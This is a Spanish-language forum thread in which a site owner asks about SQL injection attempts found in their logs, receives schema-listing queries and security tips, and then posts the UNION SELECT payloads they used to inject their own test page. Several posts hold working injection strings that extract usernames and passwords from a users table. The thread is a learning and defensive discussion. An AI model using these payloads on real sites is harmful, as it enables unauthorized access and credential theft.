| ||||
Re: listar nombres de tablas y nombre de campos de las tablas... yo grabo todas las consultas que se hacen en una pagina que tengo, y las almaceno en una tabla para llevar una estadistica... pero el otro dia me tope con varias consultas raras en mis estadisticas: Código HTML: www.mipagina.com/setctor.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(user,0x3a,pass),null,5,6/**/FROM/**/users/* ahora, pregunto: tienen alguna forma de saber mis nombres de tablas o campos por algun comando? cual es el comando? o su unica alternativa seria probar y tratar de adivinar por los nombres de los campos en los formularios? |
| ||||
Re: listar nombres de tablas y nombre de campos de las tablas... osea que si la persona no conoce mi estructura de datos podria hacer algo asi:
Código:
? www.mipagina.com/pagina.php?id=-1/**/UNION/**/ALL/**/SHOW TABLES/**/SELECT/**/1,2,concat(user,0x3a,pass),null,5,6/**/FROM/**/users/* |
| |||
Re: listar nombres de tablas y nombre de campos de las tablas... No estoy seguro si funciona en MySql, pero en Oracle para ver los nombres de tablas parecidas a un string determinado: select tname from tab where tname like '%...%; O para ver todas: select tname from tab; Última edición por a2a2; 02/05/2008 a las 16:24 Razón: errata |
| |||
Re: listar nombres de tablas y nombre de campos de las tablas... En MySQL existen varias formas de conseguir el nombre de los campos y las tablas desde la base de datos. Esta es una Para las tablas SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'nombrebase' Para los campos SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'nombretabla' AND table_schema = 'nombrebase' |
| ||||
Re: listar nombres de tablas y nombre de campos de las tablas... Tips de seguridad: 1. No utilices creación dinámica de sentencias. Son vulnerables. 2. Verifica que no queden abiertas las conexiones de clase superusuario más tiempo del necesario. 3. Trabaja las consultas, actualizaciones y eliminaciones por medio de procedimientos almacenados. 4. Haz que los superusuarios sean inaccesibles desde web, o al menos que deban hacer doble certificación (contra base y contra server). 5. Restringe los permisos de los usuarios de web. La registración debe hacerse contra casilla e-mail de tipo pop3, previa respuesta del usuario al mensaje de registración. 6. Encripta todos los nombres de tablas y los contenido de las tablas críticas. Puede consumir ciclos de microprocesador, pero tendrás mejor nivel de traceo. 7. Genera un registro de transacciones realizadas a la base. 8. Genera un diario de sesiones con la IP de los conectados, tiempo de conexión y usuario utilizado. 9. Restringe la IP desde donde se pueda conectar el usuario. Cada usuario desde una sola máquina. 10. Implementa SSL apenas puedas.
__________________ ¿A quién le enseñan sus aciertos?, si yo aprendo de mis errores constantemente... "El problema es la interfase silla-teclado." (Gillermo Luque) |
| ||||
Re: listar nombres de tablas y nombre de campos de las tablas... estoy tratando de autohakearme para comprender mejor como funcionan las inyecciones sql... y asi poder evitar que me las hagan... esta es mi consulta: Código PHP: bue.. entonces loq ue hago es:
Código:
pero no me trae todos los datos... me tira el siguiente error:www.mipagina.com/testinyeccion.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(Idusuario,0x3a,password),null,null,3,4/**/FROM/**/usuarios/*----
Código:
eso quiere decir que no coinciden los numeros de columnas... pero como endria que modificar el codigo sql inyectado para que coincida? The used SELECT statements have a different number of columns |
| ||||
Re: listar nombres de tablas y nombre de campos de las tablas... Al fin lo logre!!!! me auto-hackee.. codigo: -1/**/UNION/**/ALL/**/SELECT/**/concat(usuario,0x3a,password),null,3,4/**/FROM/**/usuarios/*---- Gracias a2a2, jurena y gnzsoloyo por los aportes! |